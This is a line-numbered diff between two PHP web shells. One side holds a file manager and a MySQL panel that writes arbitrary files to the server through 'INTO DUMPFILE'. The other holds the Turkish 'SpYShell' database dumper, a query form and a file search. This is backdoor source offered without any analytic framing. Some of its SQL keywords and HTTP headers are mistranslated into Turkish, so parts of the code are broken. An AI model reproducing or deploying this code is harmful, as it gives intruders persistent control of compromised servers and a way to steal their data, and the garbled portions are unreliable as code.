1168 | - | p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>'); |
1168 | + | if (empty($nl2br)) {$nl2br = 0;} |
1169 | ||
1170 | if (empty($add_drop)) {$add_drop = true;} | |
1171 | ||
1172 | - | p('<div style="padding:5px 0;"><form action="'.$self.'" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="'.$writabledb.'" type="text" /><input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Regular expressions</form></div></td></tr>'); |
1172 | + | if (empty($file)) |
1173 | ||
1174 | { | |
1175 | ||
1176 | - | p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>'); |
1176 | + | $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; |
1177 | ||
1178 | } | |
1179 | ||
1180 | - | //??????????? |
1180 | + | if (!is_array($tabs)) {$tabs = array();} |
1181 | ||
1182 | - | $dirdata=array(); |
1182 | + | if (empty($add_drop)) {$add_drop = true;} |
1183 | ||
1184 | - | $filedata=array(); |
1184 | + | if (sizeof($tabs) == 0) |
1185 | ||
1186 | { | |
1187 | ||
1188 | - | if ($view_writable == 'dir') { |
1188 | + | // retrive tables-list |
1189 | ||
1190 | - | $dirdata = GetWDirList($nowpath); |
1190 | + | $res = mysql_query("SHOW TABLES FROM ".$db, $sock); |
1191 | ||
1192 | - | $filedata = array(); |
1192 | + | if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} |
1193 | ||
1194 | - | } elseif ($view_writable == 'file') { |
1194 | + | } |
1195 | ||
1196 | - | $dirdata = array(); |
1196 | + | $out = "# Dumped by SpYShell.SQL ".$shver." |
1197 | ||
1198 | - | $filedata = GetWFileList($nowpath); |
1198 | + | # Ana Sayfa: http://www.spyhackerz.com/ |
1199 | ||
1200 | - | } elseif ($findstr) { |
1200 | + | # Host ayarlari: |
1201 | ||
1202 | - | $dirdata = array(); |
1202 | + | # MySQL versiyon: (".mysql_get_server_info().") Su an calisan ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." |
1203 | ||
1204 | - | $filedata = GetSFileList($nowpath, $findstr, $re); |
1204 | + | # Tarih: ".date("d.m.Y H:i:s")." |
1205 | ||
1206 | - | } else { |
1206 | + | # DB: \"".$db."\" |
1207 | ||
1208 | - | // ???? |
1208 | + | #--------------------------------------------------------- |
1209 | ||
1210 | - | //scandir()???? |
1210 | + | "; |
1211 | ||
1212 | - | $dirs=@opendir($dir); |
1212 | + | $c = count($onlytabs); |
1213 | ||
1214 | - | while ($file=@readdir($dirs)) { |
1214 | + | foreach($tabs as $tab) |
1215 | ||
1216 | - | $filepath=$nowpath.$file; |
1216 | + | { |
1217 | ||
1218 | - | if(@is_dir($filepath)){ |
1218 | + | if ((in_array($tab,$onlytabs)) or (!$c)) |
1219 | ||
1220 | - | $dirdb['filename']=$file; |
1220 | + | { |
1221 | ||
1222 | - | $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); |
1222 | + | if ($add_drop) {$out .= "Ekle Table , exits `".$tab."`;\n";} |
1223 | ||
1224 | - | $dirdb['dirchmod']=getChmod($filepath); |
1224 | + | // recieve query for Olustur table structure |
1225 | ||
1226 | - | $dirdb['dirperm']=getPerms($filepath); |
1226 | + | $res = mysql_query("Olusan tabloyu goster `".$tab."`", $sock); |
1227 | ||
1228 | - | $dirdb['fileowner']=getUser($filepath); |
1228 | + | if (!$res) {$ret["err"][] = mysql_smarterror();} |
1229 | ||
1230 | - | $dirdb['dirlink']=$nowpath; |
1230 | + | else |
1231 | ||
1232 | - | $dirdb['server_link']=$filepath; |
1232 | + | { |
1233 | ||
1234 | - | $dirdata[]=$dirdb; |
1234 | + | $row = mysql_fetch_row($res); |
1235 | ||
1236 | - | } else { |
1236 | + | $out .= $row["1"].";\n\n"; |
1237 | ||
1238 | - | $filedb['filename']=$file; |
1238 | + | // recieve table variables |
1239 | ||
1240 | - | $filedb['size']=sizecount(@filesize($filepath)); |
1240 | + | $res = mysql_query("Sec * FROM `$tab`", $sock); |
1241 | ||
1242 | - | $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); |
1242 | + | if (mysql_num_rows($res) > 0) |
1243 | ||
1244 | - | $filedb['filechmod']=getChmod($filepath); |
1244 | + | { |
1245 | ||
1246 | - | $filedb['fileperm']=getPerms($filepath); |
1246 | + | while ($row = mysql_fetch_assoc($res)) |
1247 | ||
1248 | - | $filedb['fileowner']=getUser($filepath); |
1248 | + | { |
1249 | ||
1250 | - | $filedb['dirlink']=$nowpath; |
1250 | + | $keys = implode("`, `", array_keys($row)); |
1251 | ||
1252 | - | $filedb['server_link']=$filepath; |
1252 | + | $values = array_values($row); |
1253 | ||
1254 | - | $filedata[]=$filedb; |
1254 | + | foreach($values as $k=>$v) {$values[$k] = addslashes($v);} |
1255 | ||
1256 | - | } |
1256 | + | $values = implode("', '", $values); |
1257 | ||
1258 | - | }// while |
1258 | + | $sql = "Icine Sok `$tab`(`".$keys."`) VALUES ('".$values."');\n"; |
1259 | ||
1260 | - | unset($dirdb); |
1260 | + | $out .= $sql; |
1261 | ||
1262 | - | unset($filedb); |
1262 | + | } |
1263 | ||
1264 | - | @closedir($dirs); |
1264 | + | |
1265 | ||
1266 | - | } |
1266 | + | } |
1267 | ||
1268 | - | @sort($dirdata); |
1268 | + | } |
1269 | ||
1270 | - | @sort($filedata); |
1270 | + | } |
1271 | ||
1272 | - | $dir_i = '0'; |
1272 | + | $out .= "#---------------------------------------------------------------------------------\n\n"; |
1273 | ||
1274 | if ($file) | |
1275 | ||
1276 | - | p('<form id="filelist" name="filelist" action="'.$self.'" method="post">'); |
1276 | + | { |
1277 | ||
1278 | - | makehide('action','file'); |
1278 | + | $fp = fopen($file, "w"); |
1279 | ||
1280 | - | makehide('thefile'); |
1280 | + | if (!$fp) {$ret["err"][] = 2;} |
1281 | ||
1282 | - | makehide('doing'); |
1282 | + | else |
1283 | ||
1284 | - | makehide('dir',$nowpath); |
1284 | + | { |
1285 | ||
1286 | fwrite ($fp, $out); | |
1287 | ||
1288 | - | foreach($dirdata as $key => $dirdb){ |
1288 | + | fclose ($fp); |
1289 | ||
1290 | - | if($dirdb['filename']!='..' && $dirdb['filename']!='.') { |
1290 | + | } |
1291 | ||
1292 | - | if($getdir && $getdir == $dirdb['server_link']) { |
1292 | + | } |
1293 | ||
1294 | - | $attachsize = dirsize($dirdb['server_link']); |
1294 | + | if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} |
1295 | ||
1296 | - | $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown'; |
1296 | + | return $out; |
1297 | ||
1298 | - | } else { |
1298 | + | |
1299 | ||
1300 | - | $attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Stat</a>'; |
1300 | + | |
1301 | ||
1302 | - | } |
1302 | + | if (!function_exists("mysql_buildwhere")) |
1303 | ||
1304 | - | $thisbg = bg(); |
1304 | + | { |
1305 | ||
1306 | - | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
1306 | + | function mysql_buildwhere($array,$sep=" and",$functs=array()) |
1307 | ||
1308 | - | p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['server_link'].'"></td>'); |
1308 | + | { |
1309 | ||
1310 | - | p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>'); |
1310 | + | if (!is_array($array)) {$array = array();} |
1311 | ||
1312 | - | p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$dirdb['server_link'].'\',\''.$dirdb['dirlink'].'\');">'.$dirdb['mtime'].'</a></td>'); |
1312 | + | $result = ""; |
1313 | ||
1314 | - | p('<td nowrap>'.$attachsize.'</td>'); |
1314 | + | foreach($array as $k=>$v) |
1315 | ||
1316 | - | p('<td nowrap>'); |
1316 | + | { |
1317 | ||
1318 | - | p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / '); |
1318 | + | $value = ""; |
1319 | ||
1320 | - | p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>'); |
1320 | + | if (!empty($functs[$k])) {$value .= $functs[$k]."(";} |
1321 | ||
1322 | - | p('<td nowrap><a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>'); |
1322 | + | $value .= "'".addslashes($v)."'"; |
1323 | ||
1324 | - | p('</tr>'); |
1324 | + | if (!empty($functs[$k])) {$value .= ")";} |
1325 | ||
1326 | - | $dir_i++; |
1326 | + | $result .= "`".$k."` = ".$value.$sep; |
1327 | ||
1328 | - | } else { |
1328 | + | } |
1329 | ||
1330 | - | if($dirdb['filename']=='..') { |
1330 | + | $result = substr($result,0,strlen($result)-strlen($sep)); |
1331 | ||
1332 | - | p('<tr class='.bg().'>'); |
1332 | + | return $result; |
1333 | ||
1334 | - | p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>'); |
1334 | + | |
1335 | ||
1336 | - | p('</tr>'); |
1336 | + | |
1337 | ||
1338 | - | } |
1338 | + | if (!function_exists("mysql_fetch_all")) |
1339 | ||
1340 | - | } |
1340 | + | { |
1341 | ||
1342 | - | } |
1342 | + | function mysql_fetch_all($query,$sock) |
1343 | ||
1344 | { | |
1345 | ||
1346 | - | p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>'); |
1346 | + | if ($sock) {$result = mysql_query($query,$sock);} |
1347 | ||
1348 | - | $file_i = '0'; |
1348 | + | else {$result = mysql_query($query);} |
1349 | ||
1350 | $array = array(); | |
1351 | ||
1352 | - | foreach($filedata as $key => $filedb){ |
1352 | + | while ($row = mysql_fetch_array($result)) {$array[] = $row;} |
1353 | ||
1354 | - | if($filedb['filename']!='..' && $filedb['filename']!='.') { |
1354 | + | mysql_free_result($result); |
1355 | ||
1356 | - | $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']); |
1356 | + | return $array; |
1357 | ||
1358 | - | $thisbg = bg(); |
1358 | + | |
1359 | ||
1360 | - | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
1360 | + | |
1361 | ||
1362 | - | p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['server_link'].'"></td>'); |
1362 | + | if (!function_exists("mysql_smarterror")) |
1363 | ||
1364 | - | p('<td>'.((strpos($filedb['server_link'], $_SERVER["DOCUMENT_ROOT"]) !== false) ? '<a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a>' : $filedb['filename']).'</td>'); |
1364 | + | { |
1365 | ||
1366 | - | p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">'.$filedb['mtime'].'</a></td>'); |
1366 | + | function mysql_smarterror($type,$sock) |
1367 | ||
1368 | - | p('<td nowrap>'.$filedb['size'].'</td>'); |
1368 | + | { |
1369 | ||
1370 | - | p('<td nowrap>'); |
1370 | + | if ($sock) {$error = mysql_error($sock);} |
1371 | ||
1372 | - | p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / '); |
1372 | + | else {$error = mysql_error();} |
1373 | ||
1374 | - | p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>'); |
1374 | + | $error = htmlspecialchars($error); |
1375 | ||
1376 | - | p('<td nowrap>'); |
1376 | + | return $error; |
1377 | ||
1378 | - | p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | '); |
1378 | + | |
1379 | ||
1380 | - | p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | '); |
1380 | + | |
1381 | ||
1382 | - | p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | '); |
1382 | + | if (!function_exists("mysql_query_form")) |
1383 | ||
1384 | - | p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a>'); |
1384 | + | { |
1385 | ||
1386 | - | p('</td></tr>'); |
1386 | + | function mysql_query_form() |
1387 | ||
1388 | - | $file_i++; |
1388 | + | { |
1389 | ||
1390 | - | } |
1390 | + | global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; |
1391 | ||
1392 | - | } |
1392 | + | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} |
1393 | ||
1394 | - | p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>'); |
1394 | + | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} |
1395 | ||
1396 | - | p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td colspan="4"><a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>'); |
1396 | + | if ((!$submit) or ($sql_act)) |
1397 | ||
1398 | - | p('</form></table>'); |
1398 | + | { |
1399 | ||
1400 | - | }// end dir |
1400 | + | echo "<table border=0><tr><td><form name=\"ashsh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Gercekden eminmisin ? :)";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Evet\"> <input type=submit value=\"Hayir\"></form></td>"; |
1401 | ||
1402 | if ($tbl_struct) | |
1403 | ||
1404 | - | elseif ($action == 'sqlfile') { |
1404 | + | { |
1405 | ||
1406 | - | if($doing=="mysqlupload"){ |
1406 | + | echo "<td valign=\"top\"><b>Alanlar:</b><br>"; |
1407 | ||
1408 | - | $file = $_FILES['uploadfile']; |
1408 | + | foreach ($tbl_struct as $field) {$name = $field["Field"]; echo " <a href=\"#\" onclick=\"document.ashsh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} |
1409 | ||
1410 | - | $filename = $file['tmp_name']; |
1410 | + | echo "</td></tr></table>"; |
1411 | ||
1412 | - | if (file_exists($savepath)) { |
1412 | + | } |
1413 | ||
1414 | - | m('The goal file has already existed'); |
1414 | + | } |
1415 | ||
1416 | - | } else { |
1416 | + | if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} |
1417 | ||
1418 | - | if(!$filename) { |
1418 | + | |
1419 | ||
1420 | - | m('Please choose a file'); |
1420 | + | |
1421 | ||
1422 | - | } else { |
1422 | + | if (!function_exists("mysql_create_db")) |
1423 | ||
1424 | - | $fp=@fopen($filename,'r'); |
1424 | + | { |
1425 | ||
1426 | - | $contents=@fread($fp, filesize($filename)); |
1426 | + | function mysql_create_db($db,$sock="") |
1427 | ||
1428 | - | @fclose($fp); |
1428 | + | { |
1429 | ||
1430 | - | $contents = bin2hex($contents); |
1430 | + | $sql = "DATABASE OLUSTUR `".addslashes($db)."`;"; |
1431 | ||
1432 | - | if(!$upname) $upname = $file['name']; |
1432 | + | if ($sock) {return mysql_query($sql,$sock);} |
1433 | ||
1434 | - | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); |
1434 | + | else {return mysql_query($sql);} |
1435 | ||
1436 | - | $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';"); |
1436 | + | |
1437 | ||
1438 | - | m($result ? 'Upload success' : 'Upload has failed: '.mysql_error()); |
1438 | + | |
1439 | ||
1440 | - | } |
1440 | + | if (!function_exists("mysql_query_parse")) |
1441 | ||
1442 | - | } |
1442 | + | { |
1443 | ||
1444 | - | } |
1444 | + | function mysql_query_parse($query) |
1445 | ||
1446 | { | |
1447 | ||
1448 | - | <script type="text/javascript"> |
1448 | + | $query = trim($query); |
1449 | ||
1450 | - | function mysqlfile(doing){ |
1450 | + | $arr = explode (" ",$query); |
1451 | ||
1452 | - | if(!doing) return; |
1452 | + | /*array array() |
1453 | ||
1454 | - | $('doing').value=doing; |
1454 | + | { |
1455 | ||
1456 | - | $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value; |
1456 | + | "METHOD"=>array(output_type), |
1457 | ||
1458 | - | $('mysqlfile').dbport.value=$('dbinfo').dbport.value; |
1458 | + | "METHOD1"... |
1459 | ||
1460 | - | $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value; |
1460 | + | ... |
1461 | ||
1462 | - | $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value; |
1462 | + | } |
1463 | ||
1464 | - | $('mysqlfile').dbname.value=$('dbinfo').dbname.value; |
1464 | + | if output_type == 0, no output, |
1465 | ||
1466 | - | $('mysqlfile').charset.value=$('dbinfo').charset.value; |
1466 | + | if output_type == 1, no output if no error |
1467 | ||
1468 | - | $('mysqlfile').submit(); |
1468 | + | if output_type == 2, output without control-buttons |
1469 | ||
1470 | if output_type == 3, output with control-buttons | |
1471 | ||
1472 | - | </script> |
1472 | + | */ |
1473 | ||
1474 | $types = array( | |
1475 | ||
1476 | - | !$dbhost && $dbhost = 'localhost'; |
1476 | + | "SELECT"=>array(3,1), |
1477 | ||
1478 | - | !$dbuser && $dbuser = 'root'; |
1478 | + | "SHOW"=>array(2,1), |
1479 | ||
1480 | - | !$dbport && $dbport = '3306'; |
1480 | + | "DELETE"=>array(1), |
1481 | ||
1482 | - | formhead(array('title'=>'MYSQL Information','name'=>'dbinfo')); |
1482 | + | "DROP"=>array(1) |
1483 | ||
1484 | - | makehide('action','sqlfile'); |
1484 | + | ); |
1485 | ||
1486 | - | p('<p>'); |
1486 | + | $result = array(); |
1487 | ||
1488 | - | p('DBHost:'); |
1488 | + | $op = strtoupper($arr[0]); |
1489 | ||
1490 | - | makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); |
1490 | + | if (is_array($types[$op])) |
1491 | ||
1492 | - | p(':'); |
1492 | + | { |
1493 | ||
1494 | - | makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); |
1494 | + | $result["propertions"] = $types[$op]; |
1495 | ||
1496 | - | p('DBUser:'); |
1496 | + | $result["query"] = $query; |
1497 | ||
1498 | - | makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); |
1498 | + | if ($types[$op] == 2) |
1499 | ||
1500 | - | p('DBPass:'); |
1500 | + | { |
1501 | ||
1502 | - | makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); |
1502 | + | foreach($arr as $k=>$v) |
1503 | ||
1504 | - | p('DBName:'); |
1504 | + | { |
1505 | ||
1506 | - | makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); |
1506 | + | if (strtoupper($v) == "LIMIT") |
1507 | ||
1508 | - | p('DBCharset:'); |
1508 | + | { |
1509 | ||
1510 | - | makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1)); |
1510 | + | $result["limit"] = $arr[$k+1]; |
1511 | ||
1512 | - | p('</p>'); |
1512 | + | $result["limit"] = explode(",",$result["limit"]); |
1513 | ||
1514 | - | formfoot(); |
1514 | + | if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} |
1515 | ||
1516 | - | p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">'); |
1516 | + | unset($arr[$k],$arr[$k+1]); |
1517 | ||
1518 | - | p('<h2>Upload file</h2>'); |
1518 | + | |
1519 | ||
1520 | - | p('<p><b>This operation the DB user must has FILE privilege</b></p>'); |
1520 | + | } |
1521 | ||
1522 | - | p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>'); |
1522 | + | } |
1523 | ||
1524 | - | p('<h2>Download file</h2>'); |
1524 | + | } |
1525 | ||
1526 | - | p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>'); |
1526 | + | else {return false;} |
1527 | ||
1528 | - | makehide('dbhost'); |
1528 | + | |
1529 | ||
1530 | - | makehide('dbport'); |
1530 | + | |
1531 | ||
1532 | - | makehide('dbuser'); |
1532 | + | if (!function_exists("ashfsearch")) |
1533 | ||
1534 | - | makehide('dbpass'); |
1534 | + | { |
1535 | ||
1536 | - | makehide('dbname'); |
1536 | + | function ashfsearch($d) |
1537 | ||
1538 | - | makehide('charset'); |
1538 | + | { |
1539 | ||
1540 | - | makehide('doing'); |
1540 | + | global $found; |
1541 | ||
1542 | - | makehide('action','sqlfile'); |
1542 | + | global $found_d; |
1543 | ||
1544 | - | p('</form>'); |
1544 | + | global $found_f; |
1545 | ||
1546 | global $search_i_f; | |
1547 | ||
1548 | global $search_i_d; | |
1549 | ||
1550 | - | elseif ($action == 'mysqladmin') { |
1550 | + | global $a; |
1551 | ||
1552 | - | !$dbhost && $dbhost = 'localhost'; |
1552 | + | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
1553 | ||
1554 | - | !$dbuser && $dbuser = 'root'; |
1554 | + | $h = opendir($d); |
1555 | ||
1556 | - | !$dbport && $dbport = '3306'; |
1556 | + | while (($f = readdir($h)) !== false) |
1557 | ||
1558 | - | $dbform = '<input type="hidden" id="connect" name="connect" value="1" />'; |
1558 | + | { |
1559 | ||
1560 | - | if(isset($dbhost)){ |
1560 | + | if($f != "." && $f != "..") |
1561 | ||
1562 | - | $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n"; |
1562 | + | { |
1563 | ||
1564 | - | } |
1564 | + | $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f)); |
1565 | ||
1566 | - | if(isset($dbuser)) { |
1566 | + | if (is_dir($d.$f)) |
1567 | ||
1568 | - | $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n"; |
1568 | + | { |
1569 | ||
1570 | - | } |
1570 | + | $search_i_d++; |
1571 | ||
1572 | - | if(isset($dbpass)) { |
1572 | + | if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} |
1573 | ||
1574 | - | $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n"; |
1574 | + | if (!is_link($d.$f)) {ashfsearch($d.$f);} |
1575 | ||
1576 | - | } |
1576 | + | } |
1577 | ||
1578 | - | if(isset($dbport)) { |
1578 | + | else |
1579 | ||
1580 | - | $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n"; |
1580 | + | { |
1581 | ||
1582 | - | } |
1582 | + | $search_i_f++; |
1583 | ||
1584 | - | if(isset($dbname)) { |
1584 | + | if ($bool) |
1585 | ||
1586 | - | $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n"; |
1586 | + | { |
1587 | ||
1588 | - | } |
1588 | + | if (!empty($a["text"])) |
1589 | ||
1590 | - | if(isset($charset)) { |
1590 | + | { |
1591 | ||
1592 | - | $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n"; |
1592 | + | $r = @file_get_contents($d.$f); |
1593 | ||
1594 | - | } |
1594 | + | if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} |
1595 | ||
1596 | if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} | |
1597 | ||
1598 | - | if ($doing == 'backupmysql' && $saveasfile) { |
1598 | + | if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} |
1599 | ||
1600 | - | if (!$table) { |
1600 | + | else {$bool = strpos(" ".$r,$a["text"],1);} |
1601 | ||
1602 | - | m('Please choose the table'); |
1602 | + | if ($a["text_not"]) {$bool = !$bool;} |
1603 | ||
1604 | - | } else { |
1604 | + | if ($bool) {$found[] = $d.$f; $found_f++;} |
1605 | ||
1606 | - | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); |
1606 | + | } |
1607 | ||
1608 | - | $fp = @fopen($path,'w'); |
1608 | + | else {$found[] = $d.$f; $found_f++;} |
1609 | ||
1610 | - | if ($fp) { |
1610 | + | |
1611 | ||
1612 | - | foreach($table as $k => $v) { |
1612 | + | } |
1613 | ||
1614 | - | if ($v) { |
1614 | + | } |
1615 | ||
1616 | - | sqldumptable($v, $fp); |
1616 | + | } |
1617 | ||
1618 | - | } |
1618 | + | closedir($h); |
1619 | ||
1620 | - | } |
1620 | + | |
1621 | ||
1622 | - | fclose($fp); |
1622 | + | |
1623 | ||
1624 | - | $fileurl = str_replace(SA_ROOT,'',$path); |
1624 | + | if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} |
1625 | ||
1626 | - | m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>'); |
1626 | + | //Sending headers |
1627 | ||
1628 | - | mysql_close(); |
1628 | + | @ob_start(); |
1629 | ||
1630 | - | } else { |
1630 | + | @ob_implicit_flush(0); |
1631 | ||
1632 | - | m('Backup failed'); |
1632 | + | function onphpshutdown() |
1633 | ||
1634 | - | } |
1634 | + | { |
1635 | ||
1636 | - | } |
1636 | + | global $gzipencode,$ft; |
1637 | ||
1638 | - | } |
1638 | + | if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) |
1639 | ||
1640 | - | if ($insert && $insertsql) { |
1640 | + | { |
1641 | ||
1642 | - | $keystr = $valstr = $tmp = ''; |
1642 | + | $v = @ob_get_contents(); |
1643 | ||
1644 | - | foreach($insertsql as $key => $val) { |
1644 | + | @ob_end_clean(); |
1645 | ||
1646 | - | if ($val) { |
1646 | + | @ob_start("ob_gzHandler"); |
1647 | ||
1648 | - | $keystr .= $tmp.$key; |
1648 | + | echo $v; |
1649 | ||
1650 | - | $valstr .= $tmp."'".addslashes($val)."'"; |
1650 | + | @ob_end_flush(); |
1651 | ||
1652 | - | $tmp = ','; |
1652 | + | } |
1653 | ||
1654 | - | } |
1654 | + | |
1655 | ||
1656 | - | } |
1656 | + | function ashshexit() |
1657 | ||
1658 | - | if ($keystr && $valstr) { |
1658 | + | { |
1659 | ||
1660 | - | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); |
1660 | + | onphpshutdown(); |
1661 | ||
1662 | - | m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error()); |
1662 | + | exit; |
1663 | ||
1664 | - | } |
1664 | + | |
1665 | ||
1666 | - | } |
1666 | + | header("Zamani: Mon, 12 May 2005 03:00:00 GMT"); |
1667 | ||
1668 | - | if ($update && $insertsql && $base64) { |
1668 | + | header("Son Modifiye: ".gmdate("D, d M Y H:i:s")." GMT"); |
1669 | ||
1670 | - | $valstr = $tmp = ''; |
1670 | + | header("Cache-Control: no-store, no-cache, must-revalidate"); |
1671 | ||
1672 | - | foreach($insertsql as $key => $val) { |
1672 | + | header("Cache-Control: post-check=0, pre-check=0", false); |
1673 | ||
1674 | - | $valstr .= $tmp.$key."='".addslashes($val)."'"; |
1674 | + | header("Pratik: no-cache"); |
1675 | ||
1676 | - | $tmp = ','; |
1676 | + | if (empty($tmpdir)) |
1677 | ||
1678 | - | } |
1678 | + | { |
1679 | ||
1680 | - | if ($valstr) { |
1680 | + | $tmpdir = ini_get("upload_tmp_dir"); |
1681 | ||
1682 | - | $where = base64_decode($base64); |
1682 | + | if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} |
1683 | ||
1684 | - | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); |
1684 | + | |
1685 | ||
1686 | - | m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error()); |
1686 | + | $tmpdir = realpath($tmpdir); |
1687 | ||
1688 | - | } |
1688 | + | $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); |
1689 | ||
1690 | - | } |
1690 | + | if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} |
1691 | ||
1692 | - | if ($doing == 'del' && $base64) { |
1692 | + | if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} |
1693 | ||
1694 | - | $where = base64_decode($base64); |
1694 | + | else {$tmpdir_logs = realpath($tmpdir_logs);} |
1695 | ||
